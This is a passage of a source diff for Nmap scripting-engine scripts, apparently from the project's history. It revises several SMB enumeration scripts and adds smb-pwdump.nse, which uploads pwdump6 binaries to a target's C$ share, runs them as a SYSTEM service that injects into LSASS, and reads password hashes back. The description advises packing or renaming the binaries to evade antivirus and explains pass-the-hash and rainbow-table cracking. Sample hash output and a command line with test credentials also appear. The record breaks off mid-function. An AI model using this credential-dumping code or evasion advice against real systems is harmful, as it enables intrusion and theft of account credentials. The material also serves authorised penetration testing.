-- | | PID: 868, Parent: 324 [winlogon]
|
||||
-- | | Priority: 4
|
||||
-- | |_Thread Count: 1, Handle Count: 22
|
||||
-- ...
|
||||
-- | Idle [0] (parent: 0, priority: 0, threads: 1, handles: 0)
|
||||
-- | System [8] (parent: 0, priority: 8, threads: 34, handles: 190)
|
||||
-- | smss [140] (parent: 8, priority: 11, threads: 6, handles: 33)
|
||||
-- | winlogon [160] (parent: 140, priority: 13, threads: 14, handles: 335)
|
||||
-- | csrss [164] (parent: 140, priority: 13, threads: 10, handles: 229)
|
||||
-- | services [212] (parent: 160, priority: 9, threads: 33, handles: 462)
|
||||
-- | lsass [224] (parent: 160, priority: 9, threads: 13, handles: 267)
|
||||
-- | SPOOLSV [412] (parent: 212, priority: 8, threads: 10, handles: 95)
|
||||
-- | svchost [448] (parent: 212, priority: 8, threads: 24, handles: 369)
|
||||
-- | mstask [516] (parent: 212, priority: 8, threads: 6, handles: 89)
|
||||
-- | VMwareService.e [572] (parent: 212, priority: 13, threads: 4, handles: 95)
|
||||
-- | winmgmt [648] (parent: 212, priority: 8, threads: 3, handles: 89)
|
||||
-- | cmd [700] (parent: 212, priority: 8, threads: 1, handles: 28)
|
||||
-- | explorer [720] (parent: 620, priority: 8, threads: 10, handles: 239)
|
||||
-- | VMwareUser [748] (parent: 720, priority: 8, threads: 1, handles: 30)
|
||||
-- | VMwareTray [764] (parent: 720, priority: 8, threads: 1, handles: 30)
|
||||
-- |_ regsvc [868] (parent: 212, priority: 8, threads: 4, handles: 76)
|
||||
-----------------------------------------------------------------------
|
||||
|
||||
author = "Ron Bowes"
|
||||
@@ -264,7 +246,7 @@ action = function(host)
|
||||
end
|
||||
end
|
||||
response = ' \n' .. psl_print(psl)
|
||||
elseif(nmap.verbosity() > 0) then
|
||||
elseif(nmap.verbosity() > 1) then
|
||||
for i = 1, #names, 1 do
|
||||
local name = names[i]
|
||||
if(name ~= '_Total') then
|
||||
@@ -275,9 +257,7 @@ action = function(host)
|
||||
|
||||
-- response = response .. string.format("%6d %24s (Parent: %24s, Priority: %4d, Threads: %4d, Handles: %4d)\n", process[name]['ID Process'], name, parent, process[name]['Priority Base'], process[name]['Thread Count'], process[name]['Handle Count'])
|
||||
|
||||
response = response .. string.format("%s [%d]\n", name, process[name]['ID Process'])
|
||||
response = response .. string.format("| Parent: %s [%s]\n", process[name]['Creating Process ID'], parent)
|
||||
response = response .. string.format("| Priority: %s, Thread Count: %s, Handle Count: %s\n", process[name]['Priority Base'], process[name]['Thread Count'], process[name]['Handle Count'])
|
||||
response = response .. string.format("%s [%d] (parent: %s, priority: %s, threads: %s, handles: %s)\n", name, process[name]['ID Process'], process[name]['Creating Process ID'], process[name]['Priority Base'], process[name]['Thread Count'], process[name]['Handle Count'])
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -1,29 +1,42 @@
|
||||
description = [[
|
||||
Enumerates the users logged into a system either locally or through an SMB share.
|
||||
Enumerates the users logged into a system either locally or through an SMB share. The local users
|
||||
can be logged on either physically on the machine, or through a terminal services session.
|
||||
Connections to a SMB share are, for example, people connected to fileshares or making RPC calls.
|
||||
Nmap's connection will also show up, and is generally identified by the one that connected "0
|
||||
seconds ago".
|
||||
|
||||
Enumerating the local and terminal services users is done by reading the remote registry. Keys stored under
|
||||
<code>HKEY_USERS</code> are SIDs that represent the currently logged in users, and those SIDs can be converted
|
||||
to proper names by using the <code>lsar.LsaLookupSids</code> function. Doing this requires any access higher than
|
||||
anonymous. Guests, users, or administrators are all able to perform this request on the operating
|
||||
systems I (Ron Bowes) tested.
|
||||
From the perspective of a penetration tester, the SMB Sessions is probably the most useful
|
||||
part of this program, especially because it doesn't require a high level of access. On, for
|
||||
example, a file server, there might be a dozen or more users connected at the same time. Based
|
||||
on the usernames, it might tell the tester what types of files are stored on the share.
|
||||
|
||||
Enumerating SMB connections is done using the <code>srvsvc.netsessenum</code> function, which returns who's
|
||||
logged in, when they logged in, and how long they've been idle for. Unfortunately, I couldn't find
|
||||
a way to get the user's domain with this function, so the domain isn't printed. The level of access
|
||||
required for this varies between Windows versions, but in Windows 2000 anybody (including the
|
||||
anonymous account) can access this, and in Windows 2003 a user or administrator account is
|
||||
required.
|
||||
Since the IP they're connected from and the account is revealed, the information here can also
|
||||
provide extra targets to test, as well as a username that's likely valid on that target. Additionally,
|
||||
since a strong username to ip correlation is given, it can be a boost to a social engineering
|
||||
attack.
|
||||
|
||||
Since both of these are related to users being logged into the server, it seemed logical to combine
|
||||
them into a single script.
|
||||
Enumerating the logged in users is done by reading the remote registry (and therefore won't
|
||||
work against Vista, which disables it by default). Keys stored under <code>HKEY_USERS</code> are
|
||||
SIDs that represent the connected users, and those SIDs can be converted to proper names by using
|
||||
the <code>lsar.LsaLookupSids</code> function. Doing this requires any access higher than
|
||||
anonymous; guests, users, or administrators are all able to perform this request on Windows 2000,
|
||||
XP, 2003, and Vista.
|
||||
|
||||
I learned the idea and technique for this from sysinternals' tool, PsLoggedOn.exe. I use similar
|
||||
function calls to what they use, so thanks go out to them. Thanks also to Matt Gardenghi, for requesting
|
||||
this script.
|
||||
Enumerating SMB connections is done using the <code>srvsvc.netsessenum</code> function, which
|
||||
returns the usernames that are logged in, when they logged in, and how long they've been idle
|
||||
for. The level of access required for this varies between Windows versions, but in Windows
|
||||
2000 anybody (including the anonymous account) can access this, and in Windows 2003 a user
|
||||
or administrator account is required.
|
||||
|
||||
WARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows
|
||||
2000 system; I've fixed the issue that caused it, but there's no guarantee that it (or a similar vuln in the
|
||||
same code) won't show up again.
|
||||
I learned the idea and technique for this from sysinternals' tool, PsLoggedOn.exe. I (Ron
|
||||
Bowes) use similar function calls to what they use (although I didn't use their source),
|
||||
so thanks go out to them. Thanks also to Matt Gardenghi, for requesting this script.
|
||||
|
||||
WARNING: I have experienced crashes in regsvc.exe while making registry calls
|
||||
against a fully patched Windows 2000 system; I've fixed the issue that caused it,
|
||||
but there's no guarantee that it (or a similar vuln in the same code) won't show
|
||||
up again. Since the process automatically restarts, it doesn't negatively impact
|
||||
the system, besides showing a message box to the user.
|
||||
]]
|
||||
|
||||
---
|
||||
@@ -221,7 +234,11 @@ local function winreg_enum_rids(host)
|
||||
else
|
||||
result['name'] = lookupsids2_result['names']['names'][1]['name']
|
||||
result['type'] = lookupsids2_result['names']['names'][1]['sid_type']
|
||||
if(lookupsids2_result['domains'] ~= nil and lookupsids2_result['domains']['domains'] ~= nil and lookupsids2_result['domains']['domains'][1] ~= nil) then
|
||||
result['domain'] = lookupsids2_result['domains']['domains'][1]['name']
|
||||
else
|
||||
result['domain'] = ""
|
||||
end
|
||||
end
|
||||
|
||||
if(result['type'] ~= "SID_NAME_WKN_GRP") then -- Don't show "well known" accounts
|
||||
@@ -242,7 +259,10 @@ local function winreg_enum_rids(host)
|
||||
return true, results
|
||||
end
|
||||
|
||||
|
||||
--_G.TRACEBACK = TRACEBACK or {}
|
||||
action = function(host)
|
||||
-- TRACEBACK[coroutine.running()] = true;
|
||||
|
||||
local response = " \n"
|
||||
|
||||
@@ -258,10 +278,12 @@ action = function(host)
|
||||
response = response .. "|_ <nobody>\n"
|
||||
else
|
||||
for i = 1, #users, 1 do
|
||||
if(users[i]['name'] ~= nil) then
|
||||
response = response .. string.format("|_ %s\\%s since %s\n", users[i]['domain'], users[i]['name'], users[i]['changed_date'])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- Get the connected sessions
|
||||
status2, sessions = srvsvc_enum_sessions(host)
|
||||
|
||||
@@ -1,21 +1,25 @@
|
||||
description = [[
|
||||
Attempts to list shares using the <code>srvsvc.NetShareEnumAll</code> MSRPC function and
|
||||
retrieve more information about them using <code>srvsvc.NetShareGetInfo</code>.
|
||||
retrieve more information about them using <code>srvsvc.NetShareGetInfo</code>. If access
|
||||
to those functions is denied, a list of common share names are checked.
|
||||
|
||||
Finding open shares is useful to a penetration tester because there may be private files
|
||||
shared, or, if it's writable, it could be a good place to drop a Trojan or to infect a file
|
||||
that's already there. Knowing where the share is could make those kinds of tests more useful,
|
||||
except that determiing where the share is requires administrative privileges already.
|
||||
|
||||
Running <code>NetShareEnumAll</code> will work anonymously against Windows 2000, and
|
||||
requires a user-level account on any other Windows version. Calling <code>NetShareGetInfo</code>
|
||||
requires an administrator account on every version of Windows I (Ron Bowes) tested.
|
||||
requires an administrator account on all versions of Windows up to 2003, as well as Windows Vista
|
||||
and Windows 7, if UAC is turned down.
|
||||
|
||||
Although <code>NetShareEnumAll</code> is restricted on certain systems, making a connection to
|
||||
a share to check whether or not it exists will always work. So, if <code>NetShareEnumAll</code>
|
||||
fails, a list of common shares will be checked.
|
||||
Even if <code>NetShareEnumAll</code> is restricted, attempting to connect to a share will always
|
||||
reveal its existence. So, if <code>NetShareEnumAll</code> fails, a pre-generated list of shares,
|
||||
based on a large test network, are used. If any of those succeed, they are recorded.
|
||||
|
||||
After a list of shares is found, we attempt to connect to each of them anonymously, which lets
|
||||
us divide them into the classes "anonymous" and "restricted."
|
||||
|
||||
When possible, once the list of shares is determined, <code>NetShareGetInfo</code> is called
|
||||
to get additional information on them. Odds are this will fail, unless we're doing an authenticated
|
||||
test.
|
||||
After a list of shares is found, the script attempts to connect to each of them anonymously,
|
||||
which divides them into "anonymous", for shares that the NULL user can connect to, or "restricted",
|
||||
for shares that require a user account.
|
||||
]]
|
||||
|
||||
---
|
||||
@@ -69,51 +73,6 @@ hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
---Attempts to enumerate the shares on a remote system using MSRPC calls. This will likely fail
|
||||
-- against a modern system, but will succeed against Windows 2000.
|
||||
--
|
||||
--@param host The host object.
|
||||
--@return Status (true or false).
|
||||
--@return List of shares (if status is true) or an an error string (if status is false).
|
||||
local function samr_enum_shares(host)
|
||||
|
||||
local status, smbstate
|
||||
local bind_result, netshareenumall_result
|
||||
local shares
|
||||
local i, v
|
||||
|
||||
-- Create the SMB session
|
||||
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
|
||||
if(status == false) then
|
||||
return false, smbstate
|
||||
end
|
||||
|
||||
-- Bind to SRVSVC service
|
||||
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
|
||||
if(status == false) then
|
||||
smb.stop(smbstate)
|
||||
return false, bind_result
|
||||
end
|
||||
|
||||
-- Call netsharenumall
|
||||
status, netshareenumall_result = msrpc.srvsvc_netshareenumall(smbstate, host.ip)
|
||||
if(status == false) then
|
||||
smb.stop(smbstate)
|
||||
return false, netshareenumall_result
|
||||
end
|
||||
|
||||
-- Stop the SMB session
|
||||
smb.stop(smbstate)
|
||||
|
||||
-- Convert the share list to an array
|
||||
shares = {}
|
||||
for i, v in pairs(netshareenumall_result['ctr']['array']) do
|
||||
shares[#shares + 1] = v['name']
|
||||
end
|
||||
|
||||
return true, shares
|
||||
end
|
||||
|
||||
---Attempts to connect to a list of shares as the anonymous user, returning which ones
|
||||
-- it has and doesn't have access to.
|
||||
--
|
||||
@@ -205,42 +164,6 @@ function check_shares(host, shares)
|
||||
return true, allowed_shares, denied_shares
|
||||
end
|
||||
|
||||
---Attempts to retrieve additional information about a share. Will fail unless we have
|
||||
-- administrative access.
|
||||
--
|
||||
--@param host The host object.
|
||||
--@return Status (true or false).
|
||||
--@return List of shares (if status is true) or an an error string (if status is false).
|
||||
local function get_share_info(host, name)
|
||||
local status, smbstate
|
||||
local response = {}
|
||||
|
||||
-- Create the SMB session
|
||||
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
|
||||
if(status == false) then
|
||||
return false, smbstate
|
||||
end
|
||||
|
||||
-- Bind to SRVSVC service
|
||||
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
|
||||
if(status == false) then
|
||||
smb.stop(smbstate)
|
||||
return false, bind_result
|
||||
end
|
||||
|
||||
-- Call NetShareGetInfo
|
||||
status, netsharegetinfo_result = msrpc.srvsvc_netsharegetinfo(smbstate, host.ip, name, 2)
|
||||
if(status == false) then
|
||||
smb.stop(smbstate)
|
||||
return false, netsharegetinfo_result
|
||||
end
|
||||
|
||||
smb.stop(smbstate)
|
||||
|
||||
return true, netsharegetinfo_result
|
||||
|
||||
end
|
||||
|
||||
action = function(host)
|
||||
|
||||
local enum_result
|
||||
@@ -250,7 +173,7 @@ action = function(host)
|
||||
local allowed, denied
|
||||
|
||||
-- Try and do this the good way, make a MSRPC call to get the shares
|
||||
enum_result, shares = samr_enum_shares(host)
|
||||
enum_result, shares = msrpc.enum_shares(host)
|
||||
|
||||
-- If that failed, try doing it with brute force. This almost certainly won't find everything, but it's the
|
||||
-- best we can do.
|
||||
@@ -295,7 +218,7 @@ action = function(host)
|
||||
else
|
||||
response = response .. string.format("Anonymous shares:\n")
|
||||
for i = 1, #allowed, 1 do
|
||||
local status, info = get_share_info(host, allowed[i])
|
||||
local status, info = msrpc.get_share_info(host, allowed[i])
|
||||
|
||||
response = response .. string.format(" %s\n", allowed[i])
|
||||
|
||||
@@ -317,7 +240,7 @@ action = function(host)
|
||||
|
||||
response = response .. string.format("Restricted shares:\n")
|
||||
for i = 1, #denied, 1 do
|
||||
local status, info = get_share_info(host, denied[i])
|
||||
local status, info = msrpc.get_share_info(host, denied[i])
|
||||
|
||||
response = response .. string.format(" %s\n", denied[i])
|
||||
|
||||
|
||||
@@ -1,29 +1,37 @@
|
||||
description = [[
|
||||
Attempts to enumerate the users on a remote Windows system, with as much
|
||||
information as possible, through two different techniques (both over MSRPC,
|
||||
which uses port 445 or 139). Some SAMR functions are used to enumerate users,
|
||||
and bruteforce LSA guessing is attempted.
|
||||
which uses port 445 or 139; see <code>smb.lua</code>). The goal of this script
|
||||
is to discover all user accounts that exist on a remote system. This can be
|
||||
helpful for administration, by seeing who has an account on a server, or for
|
||||
penetration testing or network footprinting, by determining which accounts
|
||||
exist on a system.
|
||||
|
||||
By default, both SAMR enumeration and LSA bruteforcing are used; however, these
|
||||
can be fine tuned using Nmap parameters. For the most possible information,
|
||||
leave the defaults; however, there are advantages to using them individually.
|
||||
A penetration tester who is examining servers may wish to determine the
|
||||
purpose of a server. By getting a list of who has access to it, the tester
|
||||
might get a better idea (if financial people have accounts, it probably
|
||||
relates to financial information). Additionally, knowing which accounts
|
||||
exist on a system (or on multiple systems) allows the pen-tester to build a
|
||||
dictionary of possible usernames for bruteforces, such as a SMB bruteforce
|
||||
or a Telnet bruteforce. These accounts may be helpful for other purposes,
|
||||
such as using the accounts in Web applications on this or other servers.
|
||||
|
||||
From a pen-testers perspective, retrieving the list of users on any
|
||||
given server creates endless possibilities.
|
||||
|
||||
Users are enumerated in two different ways: using SAMR enumeration or
|
||||
LSA bruteforcing. By default, both are used, but they have specific
|
||||
advantages and disadvantages. Using both is a great default, but in certain
|
||||
circumstances it may be best to give preference to one.
|
||||
|
||||
Advantages of using SAMR enumeration:
|
||||
* Stealthier (requires one packet/user account, whereas LSA uses at least 10
|
||||
packets while SAMR uses half that; additionally, LSA makes a lot of noise in
|
||||
the Windows event log (LSA enumeration is the only script I (Ron Bowes) have
|
||||
been called on by the administrator of a box I was testing against).
|
||||
* Stealthier (requires one packet/user account, whereas LSA uses at least 10 packets while SAMR uses half that; additionally, LSA makes a lot of noise in the Windows event log (LSA enumeration is the only script I (Ron Bowes) have been called on by the administrator of a box I was testing against).
|
||||
* More information is returned (more than just the username).
|
||||
* Every account will be found, since they're being enumerated with a function
|
||||
that's designed to enumerate users.
|
||||
* Every account will be found, since they're being enumerated with a function that's designed to enumerate users.
|
||||
|
||||
Advantages of using LSA bruteforcing:
|
||||
* More accounts are returned (system accounts, groups, and aliases are returned,
|
||||
not just users).
|
||||
* Requires a lower-level account to run on Windows XP and higher (a 'guest' account
|
||||
can be used, whereas SAMR enumeration requires a 'user' account; especially useful
|
||||
when only guest access is allowed, or when an account has a blank password (which
|
||||
effectively gives it guest access)).
|
||||
* More accounts are returned (system accounts, groups, and aliases are returned, not just users).
|
||||
* Requires a lower-level account to run on Windows XP and higher (a 'guest' account can be used, whereas SAMR enumeration requires a 'user' account; especially useful when only guest access is allowed, or when an account has a blank password (which effectively gives it guest access)).
|
||||
|
||||
SAMR enumeration is done with the <code>QueryDisplayInfo</code> function.
|
||||
If this succeeds, it will return a detailed list of users, along with descriptions,
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
description = [[
|
||||
Attempts to determine the operating system, computer name, domain, and current
|
||||
time over the SMB protocol (ports 445 or 139). This is done by starting a
|
||||
session with the anonymous account (or with a proper user account, if one is
|
||||
given); in response to a session starting, the server will send back all this
|
||||
time over the SMB protocol (ports 445 or 139 -- for more information, see
|
||||
<code>smb.lua</code>). This is done by starting a session with the anonymous
|
||||
account (or with a proper user account, if one is given -- likely doesn't make
|
||||
a difference); in response to a session starting, the server will send back all this
|
||||
information.
|
||||
|
||||
Some systems, like Samba, will blank out their name (and only send their domain).
|
||||
@@ -10,6 +11,12 @@ Other systems (like embedded printers) will simply leave out the information. Ot
|
||||
systems will blank out various pieces (some will send back '0' for the current
|
||||
time, for example).
|
||||
|
||||
Retrieving the name and operating system of a server is a vital step in targeting
|
||||
an attack against it, and this script makes that retrieval easy. Additionally, if
|
||||
a penetration tester is choosing between multiple targets, the time can help identify
|
||||
servers that are being poorly maintained (for more information/random thoughts on
|
||||
using the time, see <http://www.skullsecurity.org/blog/?p=76>.
|
||||
|
||||
Although the standard <code>smb*</code> script arguments can be used,
|
||||
they likely won't change the outcome in any meaningful way.
|
||||
]]
|
||||
@@ -55,81 +62,17 @@ end
|
||||
|
||||
action = function(host)
|
||||
|
||||
local state
|
||||
local status, err
|
||||
|
||||
-- Start up SMB
|
||||
status, state = smb.start(host)
|
||||
local status, result = smb.get_os(host)
|
||||
|
||||
if(status == false) then
|
||||
if(nmap.debugging() > 0) then
|
||||
return "ERROR: " .. state
|
||||
return "smb-os-discovery: ERROR: " .. result
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
-- Negotiate protocol
|
||||
status, err = smb.negotiate_protocol(state)
|
||||
|
||||
if(status == false) then
|
||||
stdnse.print_debug(2, "Negotiate session failed")
|
||||
smb.stop(state)
|
||||
if(nmap.debugging() > 0) then
|
||||
return "ERROR: " .. err
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
-- Start a session
|
||||
status, err = smb.start_session(state, "")
|
||||
if(status == false) then
|
||||
smb.stop(state)
|
||||
if(nmap.debugging() > 0) then
|
||||
return "ERROR: " .. err
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
-- Kill SMB
|
||||
smb.stop(state)
|
||||
|
||||
if(state['os'] == nil and state['lanmanager'] == nil) then
|
||||
if(nmap.debugging() > 0) then
|
||||
return "Server didn't return OS details"
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
if(state['os'] == nil) then
|
||||
state['os'] = "Unknown"
|
||||
end
|
||||
|
||||
if(state['lanmanager'] == nil) then
|
||||
state['lanmanager'] = "Unknown"
|
||||
end
|
||||
|
||||
if(state['domain'] == nil) then
|
||||
state['domain'] = "Unknown"
|
||||
end
|
||||
|
||||
if(state['server'] == nil) then
|
||||
state['server'] = "Unknown"
|
||||
end
|
||||
|
||||
if(state['date'] == nil) then
|
||||
state['date'] = "Unknown"
|
||||
end
|
||||
|
||||
if(state['timezone_str'] == nil) then
|
||||
state['timezone_str'] = ""
|
||||
end
|
||||
|
||||
|
||||
return string.format("%s\nLAN Manager: %s\nName: %s\\%s\nSystem time: %s %s\n", get_windows_version(state['os']), state['lanmanager'], state['domain'], state['server'], state['date'], state['timezone_str'])
|
||||
return string.format("%s\nLAN Manager: %s\nName: %s\\%s\nSystem time: %s %s\n", get_windows_version(result['os']), result['lanmanager'], result['domain'], result['server'], result['date'], result['timezone_str'])
|
||||
end
|
||||
|
||||
|
||||
|
||||
513
scripts/smb-pwdump.nse
Normal file
513
scripts/smb-pwdump.nse
Normal file
@@ -0,0 +1,513 @@
|
||||
description = [[
|
||||
This script implements the functionality found in pwdump.exe, written by the Foofus group.
|
||||
Essentially, it works by using pwdump6's modules (servpw.exe and lsremora.dll) to dump the
|
||||
password hashes for a remote machine. This currently works against Windows 2000 and Windows
|
||||
2003.
|
||||
|
||||
To run this script, the executable files for pwdump, servpw.exe and lsremora.dll, have to be
|
||||
downloaded. These can be found at <http://foofus.net/fizzgig/pwdump/>, and version 1.6 has been
|
||||
tested. Those two files should be placed in nmap's nselib data directory, <code>.../nselib/data/</code>.
|
||||
Note that these files will likely trigger antivirus software -- if you want to get around that,
|
||||
I recommend compiling your own version or obfuscating/encrypting/packing them (upx works wonders).
|
||||
Another possible way around antivirus software is to change the filenames (especially on the remote
|
||||
system -- triggering antivirus on the remote system can land you with some questions to answer). To do
|
||||
that, simply change the <code>FILE*</code> constants in <code>smb-pwdump.nse</code>.
|
||||
|
||||
The hashes dumped are Lanman and NTLM, and they're in the format Lanman:NTLM. If one or the other
|
||||
isn't set, it's indicated. These are the hashes that are stored in the SAM file on Windows,
|
||||
and can be used in place of a password to log into systems (this technique is called "passing the
|
||||
hash", and can be done in Nmap by using the <code>smbhash</code> argument instead of
|
||||
<code>smbpassword</code> -- see <code>smbauth.lua</code> for more information.
|
||||
|
||||
In addition to directly using the hashes, the hashes can also be cracked. Hashes can be cracked
|
||||
fairly easily with Rainbow Crack (rcrack) or John the Ripper (john). If you intend to crack the
|
||||
hashes without smb-pwdump.nse's help, I suggest setting the <code>strict</code> parameter to '1', which
|
||||
tells smb-pwdump.nse to print the hashes in pwdump format (except for the leading pipe '|', which
|
||||
Nmap adds). Alternatively, you can tell the script to crack the passwords using the <code>rtable</code>
|
||||
argument. For example:
|
||||
<code>nmap -p445 --script=smb-pwdump --script-args=smbuser=ron,smbpass=iagotest2k3,rtable=/tmp/alpha/*.rt <host></code>
|
||||
|
||||
This assumes that 'rcrack' is installed in a standard place -- if not, the <code>rcrack</code> parameter
|
||||
can be set to the path. The charset.txt file from Rainbow Crack may also have to be in the current
|
||||
directory.
|
||||
|
||||
This script works by uploading the pwdump6 program to a fileshare, then establishing a connection
|
||||
to the service control service (SVCCTL) and creating a new service, pointing to the pwdump6 program
|
||||
(this sounds really invasive, but it's identical to how pwdump6, fgdump, psexec, etc. work). The service
|
||||
runs, and sends back the data. Once the service is finished, the script will stop the service and
|
||||
delete the files.
|
||||
|
||||
Obviously, this script is <em>highly</em> intrusive (and requires administrative privileges).
|
||||
It's running a service on the remote machine (with SYSTEM-level access) to accomplish its goals,
|
||||
and the service injects itself into the LSASS process to collect the needed information.
|
||||
That being said, extra effort was focused on cleaning up. Unless something really bad happens
|
||||
(which is always possible with a script like this), the service will be removed and the files
|
||||
deleted.
|
||||
|
||||
Currently, this will only run against server versions of Windows (Windows 2000 and Windows 2003).
|
||||
I (Ron Bowes) am hoping to make Windows XP work, but I've had nothing but trouble. Windows Vista
|
||||
and higher won't ever work, because they disable the SVCCTL process.
|
||||
|
||||
This script was written mostly to highlight Nmap's growing potential as a pen-testing tool.
|
||||
It complements the <code>smb-brute.nse</code> script because smb-brute can find weak administrator
|
||||
passwords, then smb-pwdump.nse can use those passwords to dump hashes/passwords. Those can be added
|
||||
to the password list for more brute forcing.
|
||||
|
||||
Since this tool can be dangerous, and can easily be viewed as a malicious tool, the usual
|
||||
disclaimer applies -- use this responsibly, and especially don't break any laws with it.
|
||||
|
||||
]]
|
||||
|
||||
---
|
||||
-- @usage
|
||||
-- nmap --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p445 <host>
|
||||
-- sudo nmap -sU -sS --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p U:137,T:139 <host>
|
||||
--
|
||||
-- @output
|
||||
-- | smb-test:
|
||||
-- | Administrator:500:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
|
||||
-- | ASPNET:1001:359E64F7361B678C283B72844ABF5707:49B784EF1E7AE06953E7A4D37A3E9529:::
|
||||
-- | blankadmin:1003:NO PASSWORD*********************:NO PASSWORD*********************:::
|
||||
-- | blankuser:1004:NO PASSWORD*********************:NO PASSWORD*********************:::
|
||||
-- | Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
|
||||
-- | Ron:1000:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
|
||||
-- |_ test:1002:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
|
||||
--
|
||||
-- @args rcrack Override the location checked for the Rainbow Crack program. By default, uses the default
|
||||
-- directories searched by Lua (the $PATH variable, most likely)
|
||||
-- @args rtable Set the path to the Rainbow Tables; for example, <code>/tmp/rainbow/*.rt</code>.
|
||||
-- @args strict If set to '1', enable strict output. All output will be in pure pwdump format,
|
||||
-- except for the leading pipe.
|
||||
-----------------------------------------------------------------------
|
||||
|
||||
author = "Ron Bowes"
|
||||
copyright = "Ron Bowes"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"intrusive"}
|
||||
|
||||
require 'msrpc'
|
||||
require 'smb'
|
||||
require 'stdnse'
|
||||
require 'nsedebug'
|
||||
|
||||
local SERVICE = "nmap-pwdump"
|
||||
local PIPE = "nmap-pipe"
|
||||
|
||||
local FILE1 = "nselib/data/lsremora.dll"
|
||||
local FILENAME1 = "lsremora.dll"
|
||||
|
||||
local FILE2 = "nselib/data/servpw.exe"
|
||||
local FILENAME2 = "servpw.exe"
|
||||
|
||||
|
||||
hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
---Stop/delete the service and delete the service file. This can be used alone to clean up the
|
||||
-- pwdump stuff, if this crashes.
|
||||
function cleanup(host)
|
||||
local status, err
|
||||
|
||||
stdnse.print_debug(1, "Entering cleanup() -- errors here can generally be ignored")
|
||||
-- Try stopping the service
|
||||
status, err = msrpc.service_stop(host, SERVICE)
|
||||
if(status == false) then
|
||||
stdnse.print_debug(1, "Couldn't stop service: %s", err)
|
||||
end
|
||||
|
||||
-- os.exit()
|
||||
|
||||
-- Try deleting the service
|
||||
status, err = msrpc.service_delete(host, SERVICE)
|
||||
if(status == false) then
|
||||
stdnse.print_debug(1, "Couldn't delete service: %s", err)
|
||||
end
|
||||
|
||||
-- Delete the files
|
||||
status, err = smb.file_delete(host, "C$", "\\" .. FILENAME1)
|
||||
if(status == false) then
|
||||
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME1, err)
|
||||
end
|
||||
|
||||
status, err = smb.file_delete(host, "C$", "\\" .. FILENAME2)
|
||||
if(status == false) then
|
||||
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME2, err)
|
||||
end
|
||||
|
||||
stdnse.print_debug(1, "Leaving cleanup()")
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
function upload_files(host)
|
||||
local status, err
|
||||
|
||||
status, err = smb.file_upload(host, FILE1, "C$", "\\" .. FILENAME1)
|
||||
if(status == false) then
|
||||
cleanup(host)
|
||||
return false, string.format("Couldn't upload %s: %s\n", FILE1, err)
|
||||
end
|
||||
|
||||
status, err = smb.file_upload(host, FILE2, "C$", "\\" .. FILENAME2)
|
||||
if(status == false) then
|
||||
cleanup(host)
|
||||
return false, string.format("Couldn't upload %s: %s\n", FILE2, err)
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
function read_and_decrypt(host, key, pipe)
|
||||
local status, smbstate
|
||||
local results = {}
|
||||
|
||||
-- Create the SMB session
|
||||
status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
|
||||
if(status == false) then
|
||||
return false, smbstate
|
||||
end
|
||||
|
||||
local i = 1
|
||||
repeat
|
||||
local status, wait_result, create_result, read_result, close_result
|
||||
results[i] = {}
|
||||
|
||||
-- Wait for some data to show up on the pipe (there's a bit of a race condition here -- if this is called before the pipe is
|
||||
-- created, it'll fail with a STATUS_OBJECT_NAME_NOT_FOUND.
|
||||
|
||||
local j = 1
|
||||
repeat
|
||||
status, wait_result = smb.send_transaction_waitnamedpipe(smbstate, 0, "\\PIPE\\" .. pipe)
|
||||
if(status ~= false) then
|
||||
break
|
||||
end
|
||||
|
||||
stdnse.print_debug(1, "WaitForNamedPipe() failed: %s (this may be normal behaviour)", wait_result)
|
||||
j = j + 1
|
||||
-- TODO: Wait 50ms, if there's a time when we get an actual sleep()-style function.
|
||||
until status == true
|
||||
|
||||
if(j == 100) then
|
||||
smbstop(smbstate)
|
||||
return false, "WaitForNamedPipe() failed, service may not have been created properly."
|
||||
end
|
||||
|
||||
-- Get a handle to the pipe
|
||||
status, create_result = smb.create_file(smbstate, "\\" .. pipe)
|
||||
if(status == false) then
|
||||
smb.stop(smbstate)
|
||||
return false, create_result
|
||||
end
|
||||
|
||||
status, read_result = smb.read_file(smbstate, 0, 1000)
|
||||
if(status == false) then
|
||||
-- TODO: Figure out how to handle errors better
|
||||
return false, read_result
|
||||
else
|
||||
local data = read_result['data']
|
||||
local code = string.byte(string.sub(data, 1, 1))
|
||||
if(code == 0) then
|
||||
break
|
||||
elseif(code == 2) then
|
||||
local cUserBlocks = string.byte(string.sub(data, 3, 3))
|
||||
local userblock = ""
|
||||
for j = 0, cUserBlocks, 1 do
|
||||
local _, a, b = bin.unpack("<II", data, 68 + (j * 8))
|
||||
local encrypted = bin.pack(">II", a, b)
|
||||
local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
|
||||
